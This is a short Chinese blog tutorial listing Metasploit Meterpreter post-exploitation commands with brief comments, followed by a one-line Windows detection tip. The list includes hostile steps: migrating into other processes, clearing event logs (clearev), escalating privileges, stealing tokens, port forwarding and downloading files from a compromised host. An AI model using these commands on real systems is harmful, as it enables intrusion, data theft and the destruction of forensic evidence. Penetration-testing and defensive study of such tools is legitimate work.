Meterpreter的简单介绍-泓源视野

Meterpreter的简单介绍



Meterpreter 是MSF自带一个强大的SHELL,可以执行很多功能。

Meterpreter SHELL



基本操作


meterpreter>background #session隐藏到后台
meterpreter>bgkill #杀掉后台的一个meterpreter
meterpreter>bglist #列出后台的meterpreter
meterpreter>bgrun #运行后台的一个meterpreter
msf> sessions -l #查看回话session的list
msf> sessions 4 #切回四号回话,用于和background反操作

查看系统信息


meterpreter>sysinfo #获取系统信息
Meterpreter的简单介绍插图
meterpreter>getuid #获取当前注入的用户名称
Meterpreter的简单介绍插图1

转移注入进程


meterpreter>ps #查看进程list
meterpreter>migrate pid #转移注入点的继承

Meterpreter的简单介绍插图2
Meterpreter的简单介绍插图3
转移注入进程后,源进程被杀掉,并不影响meterpreter的会话

文件和路径类的操作


meterpreter>ls
meterpreter>pwd
meterpreter>mkdir
meterpreter>mv
meterpreter>rm
meterpreter>rmdir
#以上常见操作不在赘述
meterpreter>show_mount #展示磁盘情况
meterpreter>search -d c:\\ -f *.doc # -d 路径 -f 文件名模式 搜索文件 例如搜索日志文件 *.evtx
meterpreter>upload /localpath/localfile c:\\remote\\remotepath #上传文件
meterpreter>download c:\\xxx\xxx.xxx /root/... #下载文件
meterpreter>edit xxx #编辑文件,VIM的
Meterpreter的简单介绍插图4
Meterpreter的简单介绍插图5

网络配置及其命令


meterpreter>arp #展示arp
meterpreter>getproxy #获取代理信息
meterpreter>ifconfig(ipconfig) #查看网卡信息
meterpreter>route #打印路由
meterpreter>netstat #查看网络连接情况
meterpreter>resolve #dns解析
meterpreter>portfwd #端口转发portfwd add -l 1122 -p 3389 -r 192.168.250.176
Meterpreter的简单介绍插图6
Meterpreter的简单介绍插图7

系统操作及其命令


meterpreter>shell #获取cmdshell
meterpreter>clearev #清除event log
meterpreter>execute #执行command
meterpreter>getpid(getuid、getdsid)
meterpreter>getpriv #提权
meterpreter>shutdown #关机
meterpreter>reboot #重启
meterpreter>steal_token #窃取token
meterpreter>sysinfo #系统信息
meterpreter>localtime #获取系统时间
Meterpreter的简单介绍插图8

用户接口指令操作


Meterpreter的简单介绍插图9

Windows排查



进程


任务管理器看不到,但是tasklist和netstat 可以看到
Meterpreter的简单介绍插图10
Meterpreter的简单介绍插图11
Meterpreter的简单介绍插图12

本文由 泓源视野 作者:admin 发表,其版权均为 泓源视野 所有,文章内容系作者个人观点,不代表 泓源视野 对观点赞同或支持。如需转载,请注明文章来源。
8

发表评论

Protected with IP Blacklist CloudIP Blacklist Cloud
您是第8232251 位访客, 您的IP是:[172.70.45.179]